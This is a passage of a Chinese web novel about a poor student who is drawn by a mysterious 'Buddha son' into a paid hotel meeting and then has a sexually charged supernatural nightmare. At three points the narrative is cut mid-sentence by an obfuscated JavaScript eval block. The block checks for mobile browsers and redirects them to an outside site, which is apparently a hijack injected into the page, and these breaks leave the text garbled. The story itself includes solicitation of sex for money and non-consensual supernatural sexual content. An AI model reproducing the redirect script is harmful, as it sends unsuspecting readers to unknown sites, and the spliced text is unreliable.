《隐神新妻》 1. 小纸片 “请玉米和玉米的家长进一号诊室!” 护士穿豆绿色护士服,走到前台喊号。节气跨过霜降,前几天秋老虎才过,天气急速转凉,生病的小动物就多。现在已经是晚上八点过,可现在的宠物医院大多都是二十四小时营业。护士看见坐墙角的男孩站起身,手中抱着猫包,她指了指一号诊室,屁股挨上椅子,赶紧往嘴里扒两口已经冷掉的外卖。 医生难掩疲倦之色,看见进来的是个不苟言笑的帅哥,好不容易打起点精神,按两泵手消,草草搓了双手后,接过帅哥手里的猫包,“猫猫怎么了?” 拉开猫包,里面趴着一只蔫蔫的橘猫,叫做玉米。 “吐了两天,精神很不好,不怎么吃东西。”施霜景攥着手机,手机屏幕还亮着,他在自己不熟悉的软件上搜了一整天,“网上说猫的这个姿势叫‘母鸡蹲’,玉米这半个月经常这么蹲。我有照片。” “照片给我看看。” 施霜景点出照片,左右还有他录的视频。医生看了看,将玉米从猫包中抱出,简单地触诊。在按到腹部的时候,玉米忽然爆出一声尖锐叫声,躲闪间将爪子从医生手中拽出,就要跳下桌子。施霜景赶紧蹲下,长臂一捞就将玉米捞回怀里。 医生露出难办的表情,“先做点检查吧?生化、血常规和B超。” “大概多少钱呢?”施霜景说话定定的,一个字是一个字,声音不含糊,听起来就格外严肃。 “唔,生化有点贵,400,血常规和B超都是100块。”医生看向施霜景,“我看你还穿着校服,你是励光厂中学的学生啊。如果你之前有买宠物保险,我们医院是可以报销的定点医院,你算是选对了。” “嗯。医生,给玉米做检查吧,我带了钱。” 医生叉着腰,走到门外把护士召唤进来,护士端了装着针、压脉带和棉球的铁盘进来。给玉米量了体温后,她们二人先是把玉米左前臂的毛剃了,露出白花花的肉来。玉米是很没力气,换平常剪指甲都要一跳三尺高的,今天两个人就按住了。抽血很顺利,施霜景躬身,看那猩红血液在细管里汩汩流动,玉米的眼睛湿湿的,因紧张而瞳孔展开,施霜景小声地说:“玉米,很棒,你很乖。马上就好了。” “小弟弟,这是你养的猫啊?怎么只有你一个人来?这么晚了。”护士姐姐为了缓解施霜景的紧张,这样问道。 施霜景不知道怎么回这个问题。这样的问题总是被别人轻轻松松问出,他从小时候的接不住到了现在的不用接。沉默就好。不回话。 “血常规等一刻钟就行,生化要久一点。现在就做B超吗?做的话要给肚子剃毛。” 橘猫的毛发是外棕黄、内绒白,玉米肚皮朝天,护士和施霜景两个人把猫展开,医生将血液标本送去化验后就回来,用推子剃平玉米的肚皮毛。拉来B超机,涂耦合剂,玉米哀哀怨怨,时不时很不满地叫两声。 “没有腹水,肝肾也都还好……可以暂时排除湿性传腹……” 传腹。果然是这个病。施霜景垂眼,昨天晚上搜到传腹的症状时,他的心脏不寻常地突跳一下,好的不灵坏的灵。 医生发现这个男孩不爱说话,不知是不是宠物生病了所以心情不好。“我们等一下生化和血常规结果吧,玉米有点发烧。如果化验结果都还不错,给玉米打针退烧针,可以带回家继续观察。”医生这么说着,用纸巾擦干玉米肚子上的耦合剂。 之后的时间里,玉米一直缩在施霜景怀里,一大一小都安安静静。医生休息了片刻,让施霜景和玉米都在诊室里等,她出去看看后面还有没有排队的客人,再去看看地上笼子里正在输液的金毛。 施霜景的微信里现在就只有一千。挂号二十块,化验和B超加起来六百块。什么治疗都还没开始就已经花掉六百二十。施霜景当然没有办理宠物保险什么的,他今天还是第一次知道还有这种东西。 明天就是周末,他可以去打工。从厂里坐公交到D市,他在某条网红步行街的手打柠檬茶店做兼职,日结一百五,两天就是三百。 只不过根据施霜景查的资料来看,如果玉米真的是传腹,这点钱远远救不了玉米的性命。施霜景一下一下顺着玉米的背脊毛,偶尔手停留在猫头上,替玉米挠挠耳后,或者食指中指顺着玉米的额心往上捋捋……玉米是他从孤儿院搬出来之后捡的猫。他们一人一猫相互陪伴了整整两年。两个月前施霜景才过了他的二十岁生日。 他今年高三。 很早就做孤儿、很晚才进福利院的他,上学时机自然也延误了。临到快九岁才上一年级,还是在农村。后来没两年,福利院拿了省里的拨款,搬到了D市市郊的励光厂附近。励光厂是航天厂,三线建设时有东北和江西的航天人才过来支持新厂发展,因为性质特殊,在前些年下岗潮、倒闭潮的时候,励光厂的效益一直好,围绕厂周建设了近似小镇的生活区域,行政规划上还是属于周围的县城。近些年来,随着一批老工人的退休,后代都往城里走,厂区逐渐没落。施霜景的小学和初中就是在励光厂念的,中考拼死拼活,进不去城里的高中,就留在励光厂高中继续读。 高一他就成年,按福利院的管理办法,他已经完成了九年义务教育,人也已经成年了,不好再留在福利院。幸好市民政局那里有相应的公益项目,可以为施霜景解决学费,每年还能提供一小笔生活费,一直到他完成高中学业。住的话,励光厂的居民区有大量空置的房屋,老工人去世了,孩子们又在城里发展,找到低价的出租房不难。 施霜景有打工攒钱的习惯,如果不是九月份交补课费,他手里不会只剩一千块。 玉米的身体热热的,蜷在腿上,能感觉到它微微颤抖。施霜景更认真地摸玉米的脑袋和后背,替他缓解紧张,也是替施霜景自己缓解紧张。 可惜施霜景的运气一直很差。医生拿了生化和血常规,艰难地给出了诊断:“白球比太低了,估计是干性传腹……”医生解释了什么是传染性腹膜炎,干性湿性是什么表征,可惜施霜景只是看似在听,实则走神。 他只知道,要救玉米的话,得买药。今晚玉米估计要住院。要买的药并不在宠物医院直接售卖,护士给了施霜景一个微信号,让他去加这个人买药。 对面那人倒是很快就通过了好友申请,熟练地发来药单。治疗玉米的药,一瓶一百七。施霜景没吭声,只是呼吸的频率默默加快了一点。医生说:“不是一次就打一瓶,按体重算的。按玉米的体重来看,这一瓶至少可以打五六次。我看你从刚才就不说话,是不是经济紧张?” “是的。”这分钟,施霜景只能老实交代,“对不起,我刚才在估算住院的费用。我会治的,今天的检查费我也会交。” “很紧张吗?干性传腹不好治,可以先住院观察两天,如果用药下去有效果,你可以把玉米带回家自己打针的。”医生动了动僵硬的脖子,她实在喜欢这男孩的气质,这年头少见的清爽酷哥,“给你打个九折吧。姐姐我今天行善积德。” 施霜景差点就给医生鞠躬了。医生叫江梅,江医生摆摆手,让施霜景不要客气。 施霜景买好药之后,还以为要等药商送药过来,结果护士直接从冷柜里拿出了药……看来他们是有合作。看着护士给玉米注射了药物,又亲手把他放进铺好尿垫的笼子里。 “我明天打完工来看你。玉米,你不要太想我。”施霜景将手指伸进铁笼里,玉米一进笼子就趴下来,脸朝外,施霜景就摸摸它鼻梁。他心里很酸涩,不是滋味。 晚上一直下雨,施霜景是坐公交来这家宠物医院的,他算好十点半那班车的时间,施霜景才依依不舍地撑伞离开宠物医院。斜雨如织,宠物医院的亮光映在施霜景面上,周围是行人踩水的湿哒哒脚步声。很快他也加入。 第二天,施霜景穿着制服,在店里手工暴打柠檬茶。店长喜欢施霜景的原因是,他是店里的好风景,谁不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417911|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢看男高中生暴打柠檬茶时手臂的肌肉?施霜景的名字很衬他,人和名字一样冷冰冰,可稍微和他熟些的人都知道,他外冷内热,否则也不会捡流浪猫回家了。 同事听说了施霜景的猫猫生病,纷纷表达同情。施霜景没多说,他肯定不会找同事借钱,也不想听见同事劝他放弃不治之类的话,干脆就不多说。其他同事都习惯了,从施霜景脸上看不出他的心情,都一个样。 店长知道这回事后,一口气结了两天的款,还说:“你今天下班之后要不要去大慈寺烧个香?” 好主意。这时候烧香拜佛说不定有用。施霜景点头。 “噢,好像有关门时间……不然,你可以下午四点的时候去一趟?正好那时候还没有晚餐的客流量。” 店长姐姐把施霜景安排得明明白白。下午四点,施霜景穿着他的手打柠檬茶员工制服出现在大慈寺门口,市中心的寺庙就是好找。正门顶上从右往左“古大圣慈寺”五个字,进门就见天王殿。施霜景从来不明白怎么在寺庙里上香,只能学着那些涌进来的婆婆阿姨们,怎么请香,怎么拜,拜完一个殿,去下一个殿……香烛香气,人头攒动,施霜景额头渗汗,他很心诚,心诚到担心流程错了,还担心自己许愿的姿势不对……玉米病了,催神明早些发功是不是不礼貌……一连串的心理活动。 从最里往外走,施霜景双手揣兜,忽然感觉右手兜里有硬硬的纸片。他没多想,竟然在经过观音殿时,掏出纸片。 最上一行写“一夜Q”,中间一行写“来自D市F酒店金尊客户的邀请”,这行之下还有一行写“价好活好/恭喜发财/改运必来”,末行就是电话号码了。 施霜景皱眉,下意识把纸片揣回兜里。抬头四顾,他甚至没工夫追究这纸片是从哪里来的,只是加快脚步,赶快离开寺庙。刚才他在寺庙看这种东西是不是大不敬啊!不要撤回他的许愿才是。 迈出寺庙门,施霜景连忙把纸片攥成一团,扔进垃圾桶。左手兜里没东西,很好。再摸摸裤兜……纸片?又是纸片?到底谁这么丧心病狂,竟然在寺庙里做这种事! 掏出裤兜的小纸片,发现这张纸竟然和刚才那张的材质还不一样,金色云纹底,字倒是都相同。施霜景翻过没字的那面,忽然看出底下的暗纹像什么佛像。 说起来,这小纸片怎么怪怪的?是邀请他去酒店吗?施霜景以前也在路上捡到过这样的纸片,往往纸片会写清楚,是发纸片的这方提供服务……但施霜景看这张纸片,怎么看怎么不对劲,怎么会是什么金尊用户的邀请?他打开手机一搜,发现竟然是五星级酒店,贵得吓死人。 正搜得出神,施霜景忽然被游人一撞。他旋身想要道歉,却发现撞他的老头直勾勾盯着他的眼睛,说:“佛子请你去。” “什么?”施霜景怀疑自己的耳朵。可老头说完这句就转身进寺庙了。 一股寒意从尾椎骨往上冒,像一直冷手沿着他的脊椎摸到头顶。施霜景浑身发毛。忽然又被撞一下,是一个女大学生,施霜景刚看过去,就听见女生说:“佛子请你去。” “佛子是谁……” “佛子请你去。”扫地的阿姨抬起头来。 “佛子请你去。”游人放下拍照的手机,突然转头看向施霜景。 “佛子请你去。”牵着母亲的小男孩声音清脆。 “佛子请你……” “佛子……” 施霜景差点被吓傻了,拔腿就跑,一连跑到春熙路,闹闹攘攘尽是人,可施霜景害怕路人还会纷纷对他念这句不清不楚的咒。什么啊!难道是他在寺庙看小纸片的报应?可要找也应该是找塞他小纸片的人算账吧! 恍惚间感觉路人又扭头看他了。施霜景低声说:“我去,我会去。” 路人硬生生停住那转头的势头,仿佛什么都没发生过。 施霜景屏息,下意识觉得呼吸都是犯错。手里的纸片硬硬的,四角尖尖,如此硌手。 2. 你有病吧? 怪相消去之后,施霜景回到柠檬茶店,一晚捶打酸汁,也调其他饮品,一排椰果、布丁、烧仙草、珍珠从没有加错过,在机械工作中渐渐找回了内心的平静。晚上十点,施霜景下班。他还只是个高中生,店长没有过度压榨他,反正他拿的工资比正式工低。 从打工的网红巷子到励光厂,可以先坐地铁到市郊。来不及在末班车时间前转到公交,但地铁站附近有共享单车,最后转蹬单车回家。 晚上从城中心往城郊的地铁空旷得令人浮想。车厢与车厢晃动摩擦,整节车如蛇般在漆黑隧道里蛹行。 那张小纸片一直躺在施霜景的裤兜里。 倘若是施霜景自己手贱捡起来的,施霜景就认了。可这纸片是自动送上门来,甩都甩不掉。施霜景不敢再拿出来看——不如 说他不知道什么时候才能拿出来看。下午在大慈寺那一遭真的把他吓得不轻,现在都还以为是幻觉。就算是幻觉也很吓人了,施霜景的耳机里一直放着大悲咒。 到站,开门,出人,没有进人。乘客就这样越来越少。施霜景不安地四顾,一会数数还有几站,一会定睛假装看地铁小电视。 他是个男人了,胆子该大些。施霜景听大悲咒听得心烦,越听越吓人,于是在还剩四站的时候切成了流行歌曲。 施霜景低头单手划手机,眼前忽然一双长腿,西裤配皮鞋。不是在手机内,而是手机外、车厢里。施霜景下意识抬头,却发现是自己的错觉。 是太累了吗?地铁车门透明窗户外依旧是隧道,除了没人外,真的没什么特别。施霜景继续低头划手机,自从开学打工,周末的歌房他就一定会错过。错过没关系,切回到微信,看看朋友们的聊天也好。 施霜景只能单线程做事,看手机就顾不上其他地方。地铁座位对面的透明空窗映出男人背影,竟然是将施霜景的倒影遮了个完完全全,仿佛他面前有这么一位衣装笔挺的乘客似的。那背影高挑,单手握着吊环,这样陪了一路,直到施霜景到站,抬头,什么也没发现地下车。 又蹬了快半小时的单车才到家,到家都快要十二点了。施霜景环视空荡荡的房子,玉米住院,顿时有些孤单。 在洗澡前,施霜景拉开冰箱门,取出其中一个打包好的饭盒,揭盖送进微波炉加热。没办法,打工太累,就算吃了,也想要加餐。 从孤儿院搬出来后,施霜景就很习惯自己做饭养活自己。他对吃饭要求不高,量大管饱,自己就是做饭人,调味肯定也是按自己的喜好来,就更没得挑剔。他打包饭盒就是一菜一饭,今晚的加餐是蒜薹炒肉盖饭。 将饭盒和手机都放在餐桌上,施霜景还倒了杯牛奶,这才坐下吃夜宵。 江医生今天发了好几次消息,有视频有照片,施霜景上班不敢细看,回来的路上也不敢读,怕自己一心软就先去宠物医院。明早六点还要起床继续打工,施霜景没有太多的时间可耗。玉米的情况只能算是不好不坏,还在观察。药物用上了,今天玉米就比昨天有食欲。施霜景今天拿到今明两天的工资,也就是二百八十块。玉米每天光住院费都是五十块一天。工作日时间是施霜景的上课时间,没工可打。真的很头疼。 将兜里的小纸片掏出来放在桌上。施霜景就着小纸片上的几行字,扒完了整盒饭。放下饭盒之时,施霜景这张扑克脸难免也犯了惆怅相,纠结半晌终于恢复无表情,试着用纸片上的电话号加微信。 施霜景的确找到了那么个号,但怎么看都不像是会和这张纸片有关的样子啊? 微信名称,无。微信头像,纯黑。个性签名,没有。这难道不是个空号?施霜景退出去,又输入了一次、两次,只弹出这么一个号。 已经过十二点了,施霜景破罐子破摔,按下添加联系人的申请,把手机一推,冲去洗澡。 洗澡真的很治愈。施霜景从前最怕洗澡,可搬出孤儿院之后他又爱上洗澡。 因为他身体情况特殊,在孤儿院时每次要等到所有人洗完才能去,或者是在所有人都不洗澡的时间去,总之得听老师的安排。上厕所不方便,洗澡不方便,到青春期尤其厌烦这种不便。 浴室逼仄在冬天也是有好处的,水汽蒸腾温暖,施霜景身材好,不论正看后看,还是左看右看,甚至下看,他都是个帅哥,可唯独不能上看。 他兼有男X器官与女X器官,不影响生活,甚至大部分时间里,施霜景都意识不到自己是个S性人。 倒是这么多年,施霜景早已习惯了自己的身体。他轻声哼歌,是在地铁上才学的,最近新出的歌曲。不知道这人在唱什么东西,可有人想听,他就愿意学。 施霜景没什么社交。在孤儿院和学校里他都比较可有可无。小男孩们扎堆能做的事,他都不能一起,比如脱KZ比谁尿得远,比如几个男孩架起一个男孩的腿,把他的K下往足球门顶……就算施霜景不是S性人,他也觉得同龄男孩的傻逼成分太浓,不把自己搞出事不罢休。施霜景倒是招女生的喜欢,应该不是情愫意味的喜欢,纯粹是觉得施霜景是个比较靠谱的人。至少他升初中和高中以后,班上女孩子如果受了骚扰,不论本班外班、本校外校,只要找到施霜景,施霜景总是不声不吭就把忙给帮了。作为交换,施霜景经常抄女孩们的作业。 为什么没有女生喜欢我呢?施霜景也想过这个问题。不懂。 人总是需要社交的。施霜景不打游戏,手机电池不经这些游戏的耗。去年施霜景开始玩唱歌的APP,误打误撞加了歌房,唱了几回,大家交换微信,建了个微信群组,竟然也就这么长期地聊了下去。施霜景唱歌还算好听,发布作品之后零零星星收到点赞和评论,真是他平淡生活里一抹难得的亮色了。 关水,擦干身体,施霜景回到客厅,发现微信好友竟然通过了。 自己这边没有任何打招呼,对面则是一个定位发过来,什么说明都没有。 这定位竟然真的是武侯区的F酒店。施霜景一边吹头一边心里打问号,思索半天,他主动开口问了。 一剑霜寒:请问这是真的还是开玩笑? [空白]:对方正在输入中…… [空白]:xxxxxxxxxxx,司机电话。车牌是川A xxxxx。 一剑霜寒:? 一剑霜寒:抱歉,我应该是找错了。我没钱的,对不起啊这么晚了打扰你 [空白]:对方正在输入中…… 一剑霜寒:互删吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417912|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> [空白]:是我包你,不是你包我。 一剑霜寒:…… 一剑霜寒:我是男的 [空白]:无所谓。请问今天能来吗?司机在路上了。 一剑霜寒:佛子到底是谁?你们在寺庙给我塞纸片,是不是有些离谱了? [空白]:十五分钟以后车就到。 一剑霜寒:我没说要去 [空白]:你不缺钱吗?你不缺钱的话是不会收到这张卡片的。 [空白]:今晚试水,一万块。 一刻钟之后,施霜景忽然看见窗外车灯大亮。他说是不去,可现在施霜景头发已经吹干了,还换上了外出的衣服。都凌晨了,这到底是要干嘛?施霜景拉开窗帘,好吧,他不认识车标,但认识车牌。 会被拐去卖掉吗?施霜景真的心里犯突突。 [空白]:车到了,下来吧。 一剑霜寒:……别开玩笑了 [空白]:难道还要司机去请你吗? 一剑霜寒:你有病吧?都不知道我是谁,就说要花钱包我 [空白]:[转账10000元] [空白]:你才有病。 [空白]:自己许的愿都不认? 施霜景上车,原本要坐进副驾驶座,司机说客人坐后排,他就被赶去了后排。司机看上去很正常,完完全全是普通人,他看 施霜景一脸担心,于是一路上都开着车内灯,有点光亮能让施霜景安心点。 施霜景握着手机,指节都白了。 到达酒店,司机停好车之后,带他去前台,前台工作人员和司机竟然话都没两句,直接递了房卡。司机将施霜景送到电梯前,刷房卡按亮电梯,然后将房卡交给施霜景,说道:“佛子真心请你去,不要让佛子不悦。” 这个佛子到底是谁啊?施霜景被摆弄一天,下午时分那种惊魂未定的感觉又在心头来回摆荡,幽灵一样。眼见着电梯缓缓阖上,施霜景忽然反悔,有些事愈像真的反而愈恐怖,他拍打着开门键,可电梯门只是不动如山地扣合。 电梯一路上到四十二层,幽闭的电梯本身倒是金碧辉煌的,电梯内贴了餐厅宣传,日式的,中式的,什么都有。施霜景一恐惧就肠鸣。 叮的一声,仿佛微波炉时间到,但其实是电梯到。施霜景回神,电梯门缓缓拉开,铺毯的走道空无一人。他掏出手机,凌晨一点三十二分。这一层静得可以吓死鬼,施霜景不想出门,可电梯门就这样开着,至少两分钟没有关上,也没有响警示让他出去。 多年以后,面对他与他,施霜景将会回想起他抱着玉米走在励光厂路灯下的那个寒烟的晚上。那时的施霜景是一个孤独的新新成年人,玉米是一只藏着跳蚤的小小猫。后来小小猫长成胖胖猫,生了病,施霜景也已经习惯养活自己,只不过是走到一条被强迫的歧路。多年以后,回想歧路正是从昨天开始,那个念头——只是祈祷的念头。施霜景会怀疑自己是否在菩萨面前多说了话,明明只许愿玉米康复就好,为什么要许愿有关钱的任何事,这才让这个人握住了命门,欲望像毛衣上被误勾出来的线,按不平也拔不出,是施霜景那旧世界崩塌的预兆。 一剑霜寒:我到了。 3. 冲动噩梦 消息发送过去,屏幕一闪,就此暗下去,施霜景多按两下,再也按不亮。多不好的征兆,可施霜景步子已经迈出电梯,电梯门很快就随之合上。没有回头路了。 只是卖个身而已,至于这么紧张吗?但,话说回来,对面,也是男的吧? 一到睡觉的点就脑子不清不楚的施霜景在走廊站定,他终于发现了种种违和之处中最为要命的一个——他要怎么卖? 走廊的灯倒是大大方方地亮着,顶灯,地灯,每间房门框旁的指示灯,逃生出口灯。走廊尽头没窗,走廊尽头是间房。施霜景视力好,加上他心里隐约的预感,觉得大概那所谓什么金尊套房就是走廊尽头那间了。 施霜景拎起外套的衣领,仔细嗅了嗅,幸好没什么不合适的味道,尽管这棉服是去年洗过的了。再检查袖口,不脏,施霜景算是男孩子里比较在意卫生的。心脏快从嘴里跳出来了,施霜景踩着软绵绵的地毯,越走越后悔,越后悔就走得越慢,越慢就越紧张,怎么都走不到尽头。 是因为在顶层吗,又是凌晨的缘故,没有一间房内传出声音。电视的声音也好,房内男男女女的声音也好,打电话的声音也好,什么都没有,静得像走墓道。不知为何,施霜景脑子里就是跳出这一联想。前几天小亚在看所谓“考古”小说,不该陪她连麦的。 但这也就只是一道普通走廊而已,就算是爬,几分钟也该爬到了。施霜景顺利走到房门前,脑子空白到无法酝酿任何语言,下午在大慈寺门前撞见的如同回音的遭遇,现在又浮现在耳畔。可他还是刷了房卡,门锁咔哒一声,可以往下按把手了。 满室黑暗,走廊的光扑进去,当下就被室内的黑暗所吞噬同化掉。施霜景眼睛找着墙上的房卡槽,找到了,在进门前先伸长手将房卡插进去,室内腾地亮光。安心了。 原来对方还没到吗? 施霜景长舒一口气,推门走进去。 套房很大,正对房门的是会客厅,几座沙发静列在那儿,然后是落地窗,窗外是高级写字楼与天府大道,深夜了仍灯火辉煌的,不眠的不只是施霜景。果然是手机电池出问题了吧,施霜景想。 “这房间一定很贵吧,早知道就先接那个红包了,应该不会退房的时候要我付钱?”施霜景自言自语。 他快速地走了一趟房间,从会客室到卧室,再到衣帽间和浴室,亮堂堂,暖洋洋,有效缓解他的恐慌。床头电话上显示了时间,不知道对方几点才来,施霜景好想跟对方说,自己白天还有打工,他来真的不是为了来卖的。真的。但,他也不知道自己为什么来,可能是害怕,可能是好奇。更多的还是好奇。施霜景不是那种没有好奇心的男孩。他二十岁,仍然对这个世界感兴趣。 双人床的尺寸很大,桌上的酒店宣传册里有写,床垫是席梦思,寝具上沾着酒店熏香的味道,一点点蜜柑和薰衣草,加一点点木香。施霜景站在床边,不知道是坐沙发上等对方好,还是可以试试这床垫?铺得那么规整,一睡肯定就有了痕迹。可这张床真的很诱人。 躺一下吧。就躺一下。毕竟施霜景今天也累了。 起先是将屁股放在床上,施霜景学着电视里的人,上下坐了坐床垫,好舒服。再然后就是大字型躺上床了,那一刻施霜景想:就算被那个骂我有病的金主嘲笑,我也要说,这床真的好舒服! 手机没电,万籁俱寂,施霜景呆望着天花板吊顶,很快就眼皮打架,再然后就是穿着羽绒服和牛仔裤就睡在五星级酒店的软床上。什么佛子,什么你包我我包你,是梦吧…… 如此贴心的酒店,人睡去之后还为人拉帘、关灯。 施霜景睡得沉了,暴打了一天的柠檬茶,心里想着玉米,加上他本来就能吃能睡,几乎什么都感受不到也是正常。 他不会看见有枯枝一样的小手在床沿扒上他的裤管,一只,两只,十只……顺着他裤管与脚踝的缝隙摸进去。同样他不会看见那样的小手无限伸长,抚摸他的衣领,摸他的颈侧,顺着T恤向内探索。施霜景只会梦见玉米蹭过他脚腕又跳到他脖子上躺下,像毛发的触感,细细麻麻痒痒。 暖气热,睡得施霜景浑身发汗,闭着眼脱开了棉服,又解开牛仔裤纽扣,穿着短袖与牛仔裤就侧躺着继续睡。 黑色枯枝的小手从床下探出来,手臂好像可以无限伸长似的。与其说是手,不如说是笔。最大胆的一只手伸出食指,开始在施霜景的面上,从上往下地描出咒文。小手的力道很轻很轻,几乎像风,但咒文浓黑,那些手指在施霜景的面上、双腿、躯干描文,倒是看起来很努力的样子,历时一个半钟头,将施霜景描成了祭品的样子,只不过还是穿着衣服的祭品。 而噩梦就是从那时开始的。 施霜景不怎么做梦,就算做梦,也就是老梦见那几个固定场景,捡到玉米之后倒是经常梦见玉米。今天不例外,在梦里和玉米厮磨一会儿后,他环视自己居住的出租屋,一切如常。 嗯?怎么会有佛龛? 他家进门右手边的墙上设了不大不小的一座青铜佛龛,突兀地凸出来,前面摆了香炉,竟然只插一根香。香没燃尽就已停在半路,看上去已经不上不下地卡了多时。施霜景不懂,他本来就不喜欢想太多,做梦时就更不想了,望一眼就转过头来,找玉米。 电视正播放着央视十一台戏曲频道,施霜景平日里完全不会看这个台的,欣赏不了传统戏曲艺术。右下角竖列白字,《春闺梦》,横排字幕——“夫郎一去无音信,到今生死不分明。闺中孤影多凄冷,肝肠望断盼征人”……施霜景想关掉电视,听这咿咿呀呀心里说不出地难受,这孤零零的尖声回荡在房间里,凭空生出几分恐怖。找不到遥控器,只能走到电视旁去摸电视开关。 这一摸,忽然摸得个满手湿漉漉,施霜景一看,是血。忽然电视的画面就花了,人像扭曲成彩色的波纹伴雪花点,音量却不知被谁调了大,“我夫从军,一去就就是一整年,杳无音信,朝思暮想,实在放心不下……!” 这一“下”字硬生生拔高,像把人的脖子硬生生从颈骨上拔脱下来那样……为什么这么说呢?因为施霜景被溅了满脸的血。血从屏幕里喷溅而出,直把施霜景浇了个目瞪口呆。 施霜景懵了。完完全全宕机。 那血像活物,在施霜景身上兀自汇合,满头满脸的血说不出是顺着重力往下滴,还是借此潜进他衣服里。这黏腻感觉没一会儿就像是在揉施霜景……这到底在干什么?!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417913|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 天杀的,他不是第一次做这样的梦,可他难道能被电视机里飞溅出来的血给非礼了?施霜景当下就扒了短袖,要进浴室,可一转身他惊呆了。 原本正对电视的沙发,变成一尊顶天立地的黑铜佛。黑铜佛盘腿而坐,一面四臂,面目安详,似是正在……看电视? 施霜景不知道梦见佛像是什么意思,但他下意识道:“对不起,不知道你在看,我不小心关了。我重新帮你打开。” 再按电视开关,京剧戏曲的声音彻底变为尖叫,血喷溅得更为猖狂,将施霜景整个人淋了个透湿。他上身没穿衣服于是被浇了个完全就算了,下S也湿透。浑身猩红,施霜景活像犯罪现场的制造者。他不再管客厅这佛不佛了,冲进浴室,不敢看镜子,拧开淋浴头就对着冲,可那血在他身上纹丝不动,冲进下水道的是清水,而施霜景的身上的血已经快要氧化成红黑色。 这血肆意妄为,挤压、包裹着他的身体,动作乖张大胆,直冒犯到施霜景最不可言说的秘密痛处。有些像是下腹的隐痛……疯了。疯了吧?!施霜景在浴室检查,黏血汇在褪下的布料上,简直就像…… “妈的,妈的……”这是施霜景最恐惧的事。这是什么?这是哪来的血?哦对,是电视里的,是别人的,不是他的……他是男人,他不会来月经,他从来没有来过的……可这滴滴答答垂滴下来的是什么?这血不是从他身体里出来吗?!该死…… 施霜景摘下淋浴头,欲要对着血处猛冲,客厅里又传来唱戏的声音,从尖声恢复到正常,如泣如诉,不知是谁在哭,只哭得施霜景心头火起。冲了两下,血像油漆一样,同他的身体半永久结合了,一点用都没有,施霜景只能重新穿好衣服,冲出去,冲回到客厅。 男高中生控制不了自己的杏仁核,或者说,男高中生的杏仁核压根就没有发育好,因此男高中生分辨不了恐惧与愤怒,甚至大多时候让愤怒盖过了一切情绪。他回到客厅,对着那黑铜佛像猛踹几脚,不断踢打,怒道。 “你是哪来的?!我没有请你,不许听了——关掉!滚回去!关,掉!” 黑铜佛像纹丝不动,废话,跟一具死物较什么劲呢?可施霜景硬生生发泄到自己脱力为止,他甚至去取了佛龛前的香炉,拿来砸这巨大佛像。佛龛里的小佛能搬动,干脆举过来,使劲敲打,来一个佛不见佛。 这狂乱的发泄确实像梦,就连施霜景自己都意识到这是梦了。现实生活的他根本不会如此歇斯底里。 不能跟他开这种玩笑。他绝对不允许。梦里的罪过他白天会烧香。向这种东西烧香吗?当然不。得去寺庙。 施霜景睁开眼。黑漆漆的房间,窗帘一经拉上就跟躺进棺材一样黑。够了,这些比喻是怎么回事?那个梦还不够晦气吗? 更晦气的是,施霜景感觉黏糊糊的。他不会真的—— 施霜景一连打开所有床头灯,室内亮起来,他冲进浴室,坐在马桶上察看……没有红色。太好了,不是月经。粘液……这是什么粘液?怎么会有足以浸湿布料的粘液?这种东西能叫青春期冲动之梦吗?这纯纯是噩梦啊。 他竟然对噩梦起冲动?施霜景惊魂未定,荒谬到一个极致竟然觉得好笑起来。 4. 你脾气太差了。滚吧。 手机屏幕上显示时间为早上六点零八分。 施霜景合计睡了差不多四个小时,醒来是有些头晕,不知是做噩梦做的,还是睡眠不足给闹的。浴室的灯光自带热气,马桶也温温热热,施霜景穿好裤子后,依旧坐在马桶上,不愿意出门去。梦里那座黑铜佛,顶天立地,多头多手,慌乱里没有脑子去记住到底几个脑袋、几只手。黑铜佛表情不喜不悲,施霜景醒来忽然想不通,自己为什么在梦里要冲着人家慈眉善目的佛像出手,一下气血冲了头。肯定是因为那个外号“佛子”的金主怪怪的。 话说回来,金主真的来了吗? 这么想着,施霜景咬咬下嘴唇,不好喊别人金主,毕竟施霜景其实不想真的出来卖,来这里就是为了当面拒绝对方的。对方不来,估计是通过司机确认他真的是男的吧。施霜景蜷起双腿,更往后坐了坐,温暖的马桶,他打开微信,佛子为什么不给他继续发消息了? 咦,一万块的转账取消了?! “我本来就没有打算收……”施霜景自言自语,可看到一万块,心里一想到钱就难过。肯定是这样,佛子确认施霜景不是他要约的人,就撤回了转账。施霜景无力去搜索这房子一晚上要多少钱了,如果是这样,得赶紧开溜。他真的付不了这钱。 